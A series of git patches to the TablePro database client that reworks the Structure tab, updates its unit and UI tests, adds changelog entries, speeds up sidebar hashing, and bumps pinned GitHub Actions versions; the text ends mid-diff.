diff --git a/apple/TableProTests/Views/Structure/StructureTabAvailabilityTests.swift b/apple/TableProTests/Views/Structure/StructureTabAvailabilityTests.swift
deleted file mode 100644
index 77308cd14b..0000000000
--- a/apple/TableProTests/Views/Structure/StructureTabAvailabilityTests.swift
+++ /dev/null
@@ -1,69 +0,0 @@
-//
-//  StructureTabAvailabilityTests.swift
-//  TableProTests
-//
-
-import Foundation
-@testable import TablePro
-import Testing
-
-struct StructureTabAvailabilityTests {
-    private static let legacyMySQL = StructureServerSupport(
-        unsupportedColumnFields: [],
-        unsupportedIndexTypes: [],
-        checkConstraintRefusal: "Check constraints need MySQL 8.0.16 or later."
-    )
-
-    @Test("A MySQL server that discards a CHECK clause is not offered the tab")
-    func legacyServerHidesConstraints() {
-        let tabs = StructureTabAvailability.tabs(for: .mysql, serverSupport: Self.legacyMySQL)
-        #expect(!tabs.contains(.checkConstraints))
-        #expect(tabs.contains(.columns))
-        #expect(tabs.contains(.indexes))
-        #expect(tabs.contains(.foreignKeys))
-        #expect(tabs.contains(.ddl))
-    }
-
-    @Test("A server that keeps them is offered the tab, on every engine that has them")
-    func modernServerShowsConstraints() {
-        #expect(StructureTabAvailability.tabs(for: .mysql, serverSupport: .unrestricted)
-            .contains(.checkConstraints))
-        #expect(StructureTabAvailability.tabs(for: .postgresql, serverSupport: .unrestricted)
-            .contains(.checkConstraints))
-    }
-
-    @Test("An engine with no check constraints at all stays hidden either way")
-    func engineWithoutChecksStaysHidden() {
-        for support in [StructureServerSupport.unrestricted, Self.legacyMySQL] {
-            let tabs = StructureTabAvailability.tabs(for: .redis, serverSupport: support)
-            #expect(!tabs.contains(.checkConstraints))
-        }
-    }
-
-    // The gate is the driver's statement probe for the object, so any engine whose driver answers gets the tab.
-    @Test("Options follows the driver's answer, not the engine type")
-    func optionsFollowsTheDriver() {
-        #expect(StructureTabAvailability.tabs(for: .postgresql, serverSupport: .unrestricted, offersTableOptions: true)
-            .contains(.options))
-        #expect(!StructureTabAvailability.tabs(for: .mysql, serverSupport: .unrestricted, offersTableOptions: false)
-            .contains(.options))
-        #expect(!StructureTabAvailability.tabs(for: .mysql, serverSupport: .unrestricted).contains(.options))
-    }
-
-    @Test("Options sits after the editable tabs and before DDL")
-    func optionsSitsBeforeDDL() throws {
-        let tabs = StructureTabAvailability.tabs(for: .mysql, serverSupport: .unrestricted, offersTableOptions: true)
-        let options = try #require(tabs.firstIndex(of: .options))
-        let ddl = try #require(tabs.firstIndex(of: .ddl))
-        let columns = try #require(tabs.firstIndex(of: .columns))
-        #expect(columns < options)
-        #expect(options < ddl)
-    }
-
-    @Test("Parts is ClickHouse only, and the server refusal does not reach it")
-    func partsIsClickHouseOnly() {
-        #expect(StructureTabAvailability.tabs(for: .clickhouse, serverSupport: .unrestricted).contains(.parts))
-        #expect(!StructureTabAvailability.tabs(for: .mysql, serverSupport: .unrestricted).contains(.parts))
-        #expect(StructureTabAvailability.tabs(for: .clickhouse, serverSupport: Self.legacyMySQL).contains(.parts))
-    }
-}
diff --git a/apple/TableProTests/Views/Structure/StructureTabDataStateTests.swift b/apple/TableProTests/Views/Structure/StructureTabDataStateTests.swift
deleted file mode 100644
index f24bf763b1..0000000000
--- a/apple/TableProTests/Views/Structure/StructureTabDataStateTests.swift
+++ /dev/null
@@ -1,88 +0,0 @@
-//
-//  StructureTabDataStateTests.swift
-//  TableProTests
-//
-
-import Foundation
-import Testing
-
-@testable import TablePro
-
-struct StructureTabDataStateTests {
-    @Test("a fresh state has no data and needs every tab fetched")
-    func freshStateNeedsFetch() {
-        let state = StructureTabDataState()
-
-        for tab in StructureTab.allCases {
-            #expect(!state.hasData(tab))
-            #expect(state.needsFetch(tab))
-        }
-    }
-
-    @Test("markFetched records data and clears the fetch requirement")
-    func markFetchedRecordsData() {
-        var state = StructureTabDataState()
-        state.markFetched(.indexes)
-
-        #expect(state.hasData(.indexes))
-        #expect(!state.needsFetch(.indexes))
-        #expect(!state.hasData(.columns))
-    }
-
-    @Test("markAllStale keeps counts on screen while requiring a refetch")
-    func markAllStaleKeepsData() {
-        var state = StructureTabDataState()
-        state.markFetched(.columns)
-        state.markFetched(.indexes)
-        state.markFetched(.foreignKeys)
-
-        state.markAllStale()
-
-        for tab in [StructureTab.columns, .indexes, .foreignKeys] {
-            #expect(state.hasData(tab))
-            #expect(state.needsFetch(tab))
-        }
-    }
-
-    @Test("refetching a stale tab clears only that tab's staleness")
-    func refetchClearsSingleTab() {
-        var state = StructureTabDataState()
-        state.markFetched(.columns)
-        state.markFetched(.ddl)
-        state.markAllStale()
-
-        state.markFetched(.columns)
-
-        #expect(!state.needsFetch(.columns))
-        #expect(state.needsFetch(.ddl))
-        #expect(state.hasData(.ddl))
-    }
-
-    @Test("reset drops the data so a different table starts cold")
-    func resetDropsData() {
-        var state = StructureTabDataState()
-        state.markFetched(.columns)
-        state.markAllStale()
-
-        state.reset()
-
-        #expect(!state.hasData(.columns))
-        #expect(state.needsFetch(.columns))
-    }
-
-    @Test("a tab with data renders its count, a tab without renders a bare name")
-    func labelIncludesCountOnlyWhenLoaded() {
-        let withCount = StructureTabDataState.label(for: .indexes, count: 4)
-        let withoutCount = StructureTabDataState.label(for: .indexes, count: nil)
-
-        #expect(withCount == "\(StructureTab.indexes.displayName) (4)")
-        #expect(withoutCount == StructureTab.indexes.displayName)
-        #expect(withCount != withoutCount)
-    }
-
-    @Test("a zero count still renders, so the label never collapses to a bare name")
-    func labelRendersZeroCount() {
-        #expect(StructureTabDataState.label(for: .foreignKeys, count: 0)
-            == "\(StructureTab.foreignKeys.displayName) (0)")
-    }
-}
diff --git a/apple/TableProUITests/SidebarAddMenuUITests.swift b/apple/TableProUITests/SidebarAddMenuUITests.swift
index 51ff5a494c..d5314221a4 100644
--- a/apple/TableProUITests/SidebarAddMenuUITests.swift
+++ b/apple/TableProUITests/SidebarAddMenuUITests.swift
@@ -14,16 +14,11 @@ final class SidebarAddMenuUITests: UITestCase {
         XCTAssertTrue(newTable.waitToExist(timeout: 10), "The add button offers New Table…")
         newTable.click()
 
-        // By identifier: the editor tab named Create Table also matches a "Create Table" button query.
-        let commit = window.buttons["create-table-commit"].firstMatch
-        XCTAssertTrue(commit.waitToExist(timeout: 30), "New Table… from the add button opens the Create Table tab")
-        XCTAssertTrue(
-            window.staticTexts.matching(identifier: "create-table-validation").firstMatch.waitToExist(timeout: 10),
-            "A draft that cannot run yet must say what is missing"
-        )
-        XCTAssertFalse(commit.isEnabled, "An empty draft has no name and no column, so Create Table stays dimmed")
-
         let name = window.textFields["create-table-name"]
+        XCTAssertTrue(name.waitToExist(timeout: 30), "New Table… from the add button opens the Create Table tab")
+        let validation = window.descendants(matching: .any).matching(identifier: "create-table-validation").firstMatch
+        XCTAssertTrue(validation.waitToExist(timeout: 10), "A draft that cannot run yet must say what is missing")
+
         XCTAssertTrue(waitUntilHittable(name, timeout: 10))
         name.click()
         name.typeText("playlist")
@@ -31,10 +26,11 @@ final class SidebarAddMenuUITests: UITestCase {
         fillFirstColumn(named: "title", type: "TEXT", in: window, app: app)
 
         XCTAssertTrue(
-            waitForPredicate(timeout: 10) { commit.isEnabled },
-            "A named table with a named, typed column can be created"
+            waitForPredicate(timeout: 10) { !validation.exists },
+            "A named table with a named, typed column has nothing left to fix"
         )
-        commit.click()
+        // Create Table has no button of its own: the toolbar's commit item and Cmd+S run it.
+        app.typeShortcut(.save)
 
         XCTAssertTrue(
             objectBrowserRow("playlist", in: window).waitToExist(timeout: 30),
@@ -50,7 +46,9 @@ final class SidebarAddMenuUITests: UITestCase {
     // Cells are drawn, not mounted, so the row is reached through a point and edited from the keyboard:
     // Left until the cursor stops on the first column, Return opens its editor, Tab commits and opens the next.
     private func fillFirstColumn(named column: String, type: String, in window: XCUIElement, app: XCUIApplication) {
-        let grid = dataGrid(in: window)
+        let columns = window.descendants(matching: .any).matching(identifier: "structure-section-columns").firstMatch
+        XCTAssertTrue(columns.waitToExist(timeout: 10), "The Definition page lists the draft's columns")
+        let grid = dataGrid(in: columns)
         XCTAssertTrue(waitForClickableRows(in: grid), "The draft starts with one empty column row")
         let firstRow = grid.tableRows.firstMatch
         gridPoint(in: grid, of: window, dy: firstRow.frame.midY - grid.frame.minY).click()
diff --git a/apple/TableProUITests/StructureSaveConfirmationUITests.swift b/apple/TableProUITests/StructureSaveConfirmationUITests.swift
index 17cab44c64..eb34d4e539 100644
--- a/apple/TableProUITests/StructureSaveConfirmationUITests.swift
+++ b/apple/TableProUITests/StructureSaveConfirmationUITests.swift
@@ -21,7 +21,7 @@ final class StructureSaveConfirmationUITests: UITestCase {
             waitForPredicate(timeout: 10) { grid.element.tableRows.element(boundBy: 1).isSelected },
             "The click must select the tag row"
         )
-        let remove = window.buttons["structure-footer-remove"].firstMatch
+        let remove = window.buttons["structure-columns-remove"].firstMatch
         XCTAssertTrue(remove.waitToExist(timeout: 20), "The Columns tab must offer a remove button")
         XCTAssertTrue(waitForPredicate(timeout: 10) { remove.isEnabled }, "Removing the selected column must be offered")
         // On the 1024pt runner the structure editor overflows its pane and this button ends past the window edge.
diff --git a/apple/TableProUITests/TableChangeReloadUITests.swift b/apple/TableProUITests/TableChangeReloadUITests.swift
index b0bcd2ae1b..a74ed34f06 100644
--- a/apple/TableProUITests/TableChangeReloadUITests.swift
+++ b/apple/TableProUITests/TableChangeReloadUITests.swift
@@ -62,7 +62,7 @@ final class TableChangeReloadUITests: UITestCase {
         XCTAssertTrue(grid.header("label").waitToExist(timeout: 30), "The Data view must show document's columns")
 
         showStructure(in: app, window: window)
-        let add = window.buttons["structure-footer-add"].firstMatch
+        let add = window.buttons["structure-columns-add"].firstMatch
         XCTAssertTrue(add.waitToExist(timeout: 20), "The Columns tab must offer an add button")
         XCTAssertTrue(waitForPredicate(timeout: 10) { add.isEnabled }, "SQLite adds a column with ALTER TABLE")
         add.click()
diff --git a/apple/changelog.d/3872.added.md b/apple/changelog.d/3872.added.md
new file mode 100644
index 0000000000..32b25ffe58
--- /dev/null
+++ b/apple/changelog.d/3872.added.md
@@ -0,0 +1 @@
+File > Discard Changes… discards staged structure or data edits after asking.
diff --git a/apple/changelog.d/3872.changed.md b/apple/changelog.d/3872.changed.md
new file mode 100644
index 0000000000..736ff69800
--- /dev/null
+++ b/apple/changelog.d/3872.changed.md
@@ -0,0 +1 @@
+The Structure tab shows columns, indexes, foreign keys and checks on one page, with the inspector editing them.
diff --git a/apple/changelog.d/3872.fixed.1.md b/apple/changelog.d/3872.fixed.1.md
new file mode 100644
index 0000000000..d6c7ffe35b
--- /dev/null
+++ b/apple/changelog.d/3872.fixed.1.md
@@ -0,0 +1 @@
+Undo Delete on an edited column in the Structure tab dropped the edit made before the delete.
diff --git a/apple/changelog.d/3872.fixed.2.md b/apple/changelog.d/3872.fixed.2.md
new file mode 100644
index 0000000000..cb1ae238d3
--- /dev/null
+++ b/apple/changelog.d/3872.fixed.2.md
@@ -0,0 +1 @@
+Refreshing the Structure tab, or saving in it, did not read check constraints again.
diff --git a/apple/changelog.d/3872.fixed.3.md b/apple/changelog.d/3872.fixed.3.md
new file mode 100644
index 0000000000..8781032e6f
--- /dev/null
+++ b/apple/changelog.d/3872.fixed.3.md
@@ -0,0 +1 @@
+The selection in the Structure tab moved to another column after a reload or a sort.
diff --git a/apple/changelog.d/3872.fixed.4.md b/apple/changelog.d/3872.fixed.4.md
new file mode 100644
index 0000000000..51ec28cb4a
--- /dev/null
+++ b/apple/changelog.d/3872.fixed.4.md
@@ -0,0 +1 @@
+One failed read blanked every Structure tab, and a failed Triggers read showed No Triggers.
diff --git a/apple/changelog.d/3872.fixed.5.md b/apple/changelog.d/3872.fixed.5.md
new file mode 100644
index 0000000000..67568e0a3b
--- /dev/null
+++ b/apple/changelog.d/3872.fixed.5.md
@@ -0,0 +1 @@
+MySQL and MariaDB indexes offered a Condition the server drops.
diff --git a/apple/changelog.d/3872.fixed.6.md b/apple/changelog.d/3872.fixed.6.md
new file mode 100644
index 0000000000..f07eb45db5
--- /dev/null
+++ b/apple/changelog.d/3872.fixed.6.md
@@ -0,0 +1 @@
+Create Table read foreign key targets from the sidebar's database instead of the tab's.
diff --git a/apple/changelog.d/3872.fixed.7.md b/apple/changelog.d/3872.fixed.7.md
new file mode 100644
index 0000000000..6f63932edb
--- /dev/null
+++ b/apple/changelog.d/3872.fixed.7.md
@@ -0,0 +1 @@
+Edit > Undo in the Structure tab did not name the change and stayed enabled with nothing to undo.
diff --git a/apple/changelog.d/3872.fixed.8.md b/apple/changelog.d/3872.fixed.8.md
new file mode 100644
index 0000000000..f51bbc6ec7
--- /dev/null
+++ b/apple/changelog.d/3872.fixed.8.md
@@ -0,0 +1 @@
+Switching a table from Structure to Data dimmed Save Changes while structure edits were still staged.
diff --git a/apple/changelog.d/3872.fixed.md b/apple/changelog.d/3872.fixed.md
new file mode 100644
index 0000000000..9e7465aad4
--- /dev/null
+++ b/apple/changelog.d/3872.fixed.md
@@ -0,0 +1 @@
+Making a column part of the primary key in the Structure tab did not change the table's key.

From 25001cc3e4e09f424f917d134fe441253aab39ce Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Thu, 29 Oct 2026 19:43:12 +0700
Subject: [PATCH 24/44] fix(structure): keep a saved definition selected and
 auto-show the inspector from any section (#3875)

---
 .../StructureChangeManager.swift              | 11 +++++++
 .../TablePro/Views/Main/MainContentView.swift | 28 +++++++++++++++-
 .../StructureDefinitionEditorTests.swift      | 32 +++++++++++++++++++
 3 files changed, 70 insertions(+), 1 deletion(-)

diff --git a/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift b/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift
index 68e54b12b5..dc271f8c80 100644
--- a/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift
+++ b/apple/TablePro/Core/SchemaTracking/StructureChangeManager.swift
@@ -873,10 +873,21 @@ final class StructureChangeManager: ObservableObject, ChangeManaging {
             }
         }
         tableOptions = TableOptionsDraft(original: writtenOptions, isAutoIncrementConfirmed: isAutoIncrementConfirmed)
+        adoptWrittenDefinitions()
         discardChanges()
         return true
     }
 
+    // The written definitions stand in until the re-read lands, so a renamed or new definition keeps its id, its
+    // selection and the name the re-read is matched by.
+    private func adoptWrittenDefinitions() {
+        currentColumns = workingColumns.filter { !isPendingDeletion(.column($0.id)) }
+        currentIndexes = workingIndexes.filter { !isPendingDeletion(.index($0.id)) }
+        currentForeignKeys = workingForeignKeys.filter { !isPendingDeletion(.foreignKey($0.id)) }
+        currentCheckConstraints = workingCheckConstraints.filter { !isPendingDeletion(.checkConstraint($0.id)) }
+        currentPrimaryKey = workingPrimaryKey
+    }
+
     // MARK: - Undo/Redo Operations
 
     func undo() {
diff --git a/apple/TablePro/Views/Main/MainContentView.swift b/apple/TablePro/Views/Main/MainContentView.swift
index 3de7ffcf9c..e19b1ee85a 100644
--- a/apple/TablePro/Views/Main/MainContentView.swift
+++ b/apple/TablePro/Views/Main/MainContentView.swift
@@ -361,7 +361,14 @@ struct MainContentView: View {
                 await coordinator.loadInspectorRowValues(tabId: tabId, rowID: rowID)
             })
             .background {
-                if let model = coordinator.activeGridModel {
+                if let editor = coordinator.activeStructureEditor {
+                    StructureSelectionWatcher(
+                        editor: editor,
+                        onAttach: { scheduleInspectorUpdate() },
+                        onChange: { rowsChanged in handleGridSelectionChange(rowsChanged: rowsChanged) }
+                    )
+                    .id(ObjectIdentifier(editor))
+                } else if let model = coordinator.activeGridModel {
                     GridSelectionWatcher(
                         model: model,
                         onAttach: { scheduleInspectorUpdate() },
@@ -552,6 +559,25 @@ struct MainContentView: View {
 }
 
 // No view of this window observes a session whose Structure view is not on screen, yet Discard and Save change it there.
+// The selection moves between four grids, and the window reads only the one holding it.
+private struct StructureSelectionWatcher: View {
+    @ObservedObject var editor: StructureDefinitionEditor
+    let onAttach: () -> Void
+    let onChange: (_ rowsChanged: Bool) -> Void
+
+    var body: some View {
+        let model = editor.focusedModel ?? editor.adapter(for: .columns).model
+        Color.clear
+            .frame(width: 0, height: 0)
+            .accessibilityHidden(true)
+            .background {
+                GridSelectionWatcher(model: model, onAttach: onAttach, onChange: onChange)
+                    .id(ObjectIdentifier(model))
+            }
+            .onChange(of: editor.focusedSection) { _ in onChange(true) }
+    }
+}
+
 private struct StructureChangeWatcher: View {
     @ObservedObject var session: StructureEditingSession
     let onChange: () -> Void
diff --git a/apple/TableProTests/Views/Structure/StructureDefinitionEditorTests.swift b/apple/TableProTests/Views/Structure/StructureDefinitionEditorTests.swift
index 01f56ac935..8392e38fdd 100644
--- a/apple/TableProTests/Views/Structure/StructureDefinitionEditorTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureDefinitionEditorTests.swift
@@ -176,6 +176,38 @@ struct StructureDefinitionEditorTests {
         #expect(editor.inspectorTarget == .entity(.columns, status))
     }
 
+    @Test("A saved rename and a saved new column keep their ids and the selection through the re-read")
+    func saveKeepsRenamedAndNewDefinitions() async throws {
+        let editor = makeEditor()
+        let status = id(of: "status", in: editor)
+        editor.commitInspectorField(section: .columns, id: status, field: 0, value: "phase")
+        editor.manager.addNewColumn()
+        let added = try #require(editor.manager.workingColumns.last).id
+        editor.commitInspectorField(section: .columns, id: added, field: 0, value: "note")
+        editor.adapter(for: .columns).select(entity: added)
+        let hold = try #require(editor.manager.holdForSave())
+
+        #expect(editor.manager.releaseHold(hold, written: true))
+        try await waitUntil { editor.adapter(for: .columns).model.configuration.isEditable }
+        #expect(editor.inspectorTarget == .entity(.columns, added))
+
+        editor.manager.loadSchema(
+            tableName: "orders",
+            columns: ["id", "customer_id", "phase", "note"].map {
+                ColumnInfo(name: $0, dataType: "INT", isNullable: true, isPrimaryKey: $0 == "id",
+                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil)
+            },
+            indexes: [IndexInfo(name: "orders_pkey", columns: ["id"], isUnique: true, isPrimary: true, type: "BTREE")],
+            foreignKeys: [],
+            primaryKey: ["id"]
+        )
+        try await waitUntil { editor.adapter(for: .columns).rowCount == 4 }
+
+        #expect(id(of: "phase", in: editor) == status)
+        #expect(id(of: "note", in: editor) == added)
+        #expect(editor.inspectorTarget == .entity(.columns, added))
+    }
+
     @Test("A save's hold closes the grids and its end opens them again")
     func saveHoldTogglesEditing() async throws {
         let editor = makeEditor()

From cb449271eebeec02dcbb9ace55bd891481a4e6ae Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Thu, 29 Oct 2026 21:26:32 +0700
Subject: [PATCH 25/44] perf(sidebar): stop redrawing the editor on every
 sidebar filter keystroke (#3876)

---
 .../Services/Infrastructure/MainSplitViewController.swift    | 1 -
 .../Views/Main/Extensions/MainContentView+Modifiers.swift    | 1 -
 apple/TablePro/Views/Main/MainContentView.swift              | 3 ---
 apple/TablePro/Views/Sidebar/DatabaseTreeNode.swift          | 5 ++++-
 apple/TablePro/Views/Sidebar/FavoritesOutlineNode.swift      | 4 +++-
 apple/changelog.d/3876.changed.md                            | 1 +
 6 files changed, 8 insertions(+), 7 deletions(-)
 create mode 100644 apple/changelog.d/3876.changed.md

diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift
index 041c30a137..f05c1dfc92 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift
@@ -973,7 +973,6 @@ internal final class MainSplitViewController: NSSplitViewController {
                 windowTitle: windowTitleBinding(for: workspace),
                 windowSubtitle: windowSubtitleBinding(for: workspace),
                 windowRepresentedURL: windowRepresentedURLBinding(for: workspace),
-                sidebarState: SharedSidebarState.forConnection(session.connection.id),
                 pendingTruncates: sessionBinding(for: workspace, get: { $0.pendingTruncates }, set: { $0.pendingTruncates = $1 }, defaultValue: []),
                 pendingDeletes: sessionBinding(for: workspace, get: { $0.pendingDeletes }, set: { $0.pendingDeletes = $1 }, defaultValue: []),
                 tableOperationOptions: sessionBinding(for: workspace, get: { $0.tableOperationOptions }, set: { $0.tableOperationOptions = $1 }, defaultValue: [:]),
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentView+Modifiers.swift b/apple/TablePro/Views/Main/Extensions/MainContentView+Modifiers.swift
index 8c80a72b19..148cceb37f 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentView+Modifiers.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentView+Modifiers.swift
@@ -21,7 +21,6 @@ import SwiftUI
         windowTitle: .constant("SQL Query"),
         windowSubtitle: .constant(""),
         windowRepresentedURL: .constant(nil),
-        sidebarState: SharedSidebarState(),
         pendingTruncates: .constant([]),
         pendingDeletes: .constant([]),
         tableOperationOptions: .constant([:]),
diff --git a/apple/TablePro/Views/Main/MainContentView.swift b/apple/TablePro/Views/Main/MainContentView.swift
index e19b1ee85a..3954b0d3e5 100644
--- a/apple/TablePro/Views/Main/MainContentView.swift
+++ b/apple/TablePro/Views/Main/MainContentView.swift
@@ -22,7 +22,6 @@ struct MainContentView: View {
     @Binding var windowSubtitle: String
     @Binding var windowRepresentedURL: URL?
     @ObservedObject var schemaService = SchemaService.shared
-    @ObservedObject var sidebarState: SharedSidebarState
     @Binding var pendingTruncates: Set<DatabaseTreeTableRef>
     @Binding var pendingDeletes: Set<DatabaseTreeTableRef>
     @Binding var tableOperationOptions: [DatabaseTreeTableRef: TableOperationOptions]
@@ -59,7 +58,6 @@ struct MainContentView: View {
         windowTitle: Binding<String>,
         windowSubtitle: Binding<String>,
         windowRepresentedURL: Binding<URL?>,
-        sidebarState: SharedSidebarState,
         pendingTruncates: Binding<Set<DatabaseTreeTableRef>>,
         pendingDeletes: Binding<Set<DatabaseTreeTableRef>>,
         tableOperationOptions: Binding<[DatabaseTreeTableRef: TableOperationOptions]>,
@@ -74,7 +72,6 @@ struct MainContentView: View {
         self._windowTitle = windowTitle
         self._windowSubtitle = windowSubtitle
         self._windowRepresentedURL = windowRepresentedURL
-        self.sidebarState = sidebarState
         self._pendingTruncates = pendingTruncates
         self._pendingDeletes = pendingDeletes
         self._tableOperationOptions = tableOperationOptions
diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeNode.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeNode.swift
index a179675a9d..0a8aaa293c 100644
--- a/apple/TablePro/Views/Sidebar/DatabaseTreeNode.swift
+++ b/apple/TablePro/Views/Sidebar/DatabaseTreeNode.swift
@@ -64,7 +64,9 @@ internal struct DatabaseTreeSidePhases: Equatable {
     }
 }
 
-final class DatabaseTreeNode: SidebarOutlineNode {
+// NSObject so the outline's item lookups hash the pointer: a plain Swift class looks up a Hashable conformance on
+// every hash, about a quarter of opening a section of 17,000 tables.
+final class DatabaseTreeNode: NSObject, SidebarOutlineNode {
     enum Status: Equatable {
         case loading
         case empty
@@ -110,6 +112,7 @@ final class DatabaseTreeNode: SidebarOutlineNode {
     init(id: String, kind: Kind) {
         self.id = id
         self.kind = kind
+        super.init()
     }
 
     var isExpandable: Bool {
diff --git a/apple/TablePro/Views/Sidebar/FavoritesOutlineNode.swift b/apple/TablePro/Views/Sidebar/FavoritesOutlineNode.swift
index 0bfa034b9f..150ce581b1 100644
--- a/apple/TablePro/Views/Sidebar/FavoritesOutlineNode.swift
+++ b/apple/TablePro/Views/Sidebar/FavoritesOutlineNode.swift
@@ -10,7 +10,8 @@ import Foundation
 /// A reference type because `NSOutlineView` tracks rows by object identity, which is what lets a
 /// reload keep the expansion and selection a user set. The coordinator caches these by `id` and
 /// mutates the cached instance rather than building a new one, exactly as the object tree does.
-internal final class FavoritesOutlineNode: SidebarOutlineNode {
+/// An `NSObject` for the same cheap hashing as `DatabaseTreeNode`.
+internal final class FavoritesOutlineNode: NSObject, SidebarOutlineNode {
     internal enum Kind {
         case header(String)
         case databaseEnvironment(FavoriteDatabaseGroup)
@@ -26,6 +27,7 @@ internal final class FavoritesOutlineNode: SidebarOutlineNode {
     internal init(id: String, kind: Kind) {
         self.id = id
         self.kind = kind
+        super.init()
     }
 
     internal var isExpandable: Bool {
diff --git a/apple/changelog.d/3876.changed.md b/apple/changelog.d/3876.changed.md
new file mode 100644
index 0000000000..f46be23006
--- /dev/null
+++ b/apple/changelog.d/3876.changed.md
@@ -0,0 +1 @@
+Typing in the sidebar filter no longer redraws the editor and results on every keystroke.

From 79a72062d98be4b2ad06044ec34cea9ea41eda49 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 29 Oct 2026 22:23:46 +0700
Subject: [PATCH 26/44] ci(deps): bump the actions group across 1 directory
 with 3 updates (#3879)

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
---
 .github/workflows/build-linux.yml  | 16 ++++++++--------
 .github/workflows/release.yml      |  2 +-
 .github/workflows/repo-hygiene.yml |  2 +-
 3 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/.github/workflows/build-linux.yml b/.github/workflows/build-linux.yml
index f96745925a..19c94df8fd 100644
--- a/.github/workflows/build-linux.yml
+++ b/.github/workflows/build-linux.yml
@@ -115,7 +115,7 @@ jobs:
           components: rustfmt, clippy
       # Meson points Cargo at _build/cargo-home and _build/cargo-target,
       # so those are what the cache keeps.
-      - uses: Swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2
+      - uses: Swatinem/rust-cache@d1527c8f67ef9af357290475d4af4b0fab8f12e0 # v2.9.3
         with:
           workspaces: linux -> _build/cargo-target
           cache-directories: linux/_build/cargo-home
@@ -268,7 +268,7 @@ jobs:
       - uses: dtolnay/rust-toolchain@683b588c487a69d01f6c6ddf40f036ff682cc2c8 # master
         with:
           toolchain: "1.98"
-      - uses: taiki-e/install-action@8cca0918f8471c33515202b73f56ab27f2bed283 # v2.87.29
+      - uses: taiki-e/install-action@5488ac5a951645ce95062214902ac4b6bc1a1037 # v2.87.32
         with:
           tool: cargo-deny@${{ env.CARGO_DENY_VERSION }},cargo-shear@${{ env.CARGO_SHEAR_VERSION }},cargo-about@${{ env.CARGO_ABOUT_VERSION }},zizmor@${{ env.ZIZMOR_VERSION }}
       - name: Advisories, bans, licenses and sources
@@ -489,11 +489,11 @@ jobs:
       - uses: dtolnay/rust-toolchain@683b588c487a69d01f6c6ddf40f036ff682cc2c8 # master
         with:
           toolchain: "1.98"
-      - uses: Swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2
+      - uses: Swatinem/rust-cache@d1527c8f67ef9af357290475d4af4b0fab8f12e0 # v2.9.3
         with:
           workspaces: linux
           key: ${{ matrix.package }}
-      - uses: taiki-e/install-action@8cca0918f8471c33515202b73f56ab27f2bed283 # v2.87.29
+      - uses: taiki-e/install-action@5488ac5a951645ce95062214902ac4b6bc1a1037 # v2.87.32
         with:
           tool: cargo-nextest@${{ env.CARGO_NEXTEST_VERSION }}
       - name: Verify docker is available
@@ -564,11 +564,11 @@ jobs:
       - uses: dtolnay/rust-toolchain@683b588c487a69d01f6c6ddf40f036ff682cc2c8 # master
         with:
           toolchain: "1.98"
-      - uses: Swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2
+      - uses: Swatinem/rust-cache@d1527c8f67ef9af357290475d4af4b0fab8f12e0 # v2.9.3
         with:
           workspaces: linux
           key: tablepro-session
-      - uses: taiki-e/install-action@8cca0918f8471c33515202b73f56ab27f2bed283 # v2.87.29
+      - uses: taiki-e/install-action@5488ac5a951645ce95062214902ac4b6bc1a1037 # v2.87.32
         with:
           tool: cargo-nextest@${{ env.CARGO_NEXTEST_VERSION }}
       - name: Verify docker is available
@@ -634,11 +634,11 @@ jobs:
       - uses: dtolnay/rust-toolchain@683b588c487a69d01f6c6ddf40f036ff682cc2c8 # master
         with:
           toolchain: "1.98"
-      - uses: Swatinem/rust-cache@6323deb102c322ba6fcbdcafc7e3dddab59af2b6 # v2.9.2
+      - uses: Swatinem/rust-cache@d1527c8f67ef9af357290475d4af4b0fab8f12e0 # v2.9.3
         with:
           workspaces: linux
           key: tablepro-app
-      - uses: taiki-e/install-action@8cca0918f8471c33515202b73f56ab27f2bed283 # v2.87.29
+      - uses: taiki-e/install-action@5488ac5a951645ce95062214902ac4b6bc1a1037 # v2.87.32
         with:
           tool: cargo-nextest@${{ env.CARGO_NEXTEST_VERSION }}
       - name: Verify docker is available
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 9b1b4d8bf2..bbd31b8db5 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -37,7 +37,7 @@ jobs:
 
       - name: Set up Python 3.9
         id: python
-        uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
+        uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0 # v7.1.0
         with:
           python-version: "3.9"
           update-environment: false
diff --git a/.github/workflows/repo-hygiene.yml b/.github/workflows/repo-hygiene.yml
index 2ecf1f6edf..4b633d147c 100644
--- a/.github/workflows/repo-hygiene.yml
+++ b/.github/workflows/repo-hygiene.yml
@@ -55,7 +55,7 @@ jobs:
       # runner's Python, which has PyYAML.
       - name: Set up Python 3.9 for the release tooling
         id: python
-        uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
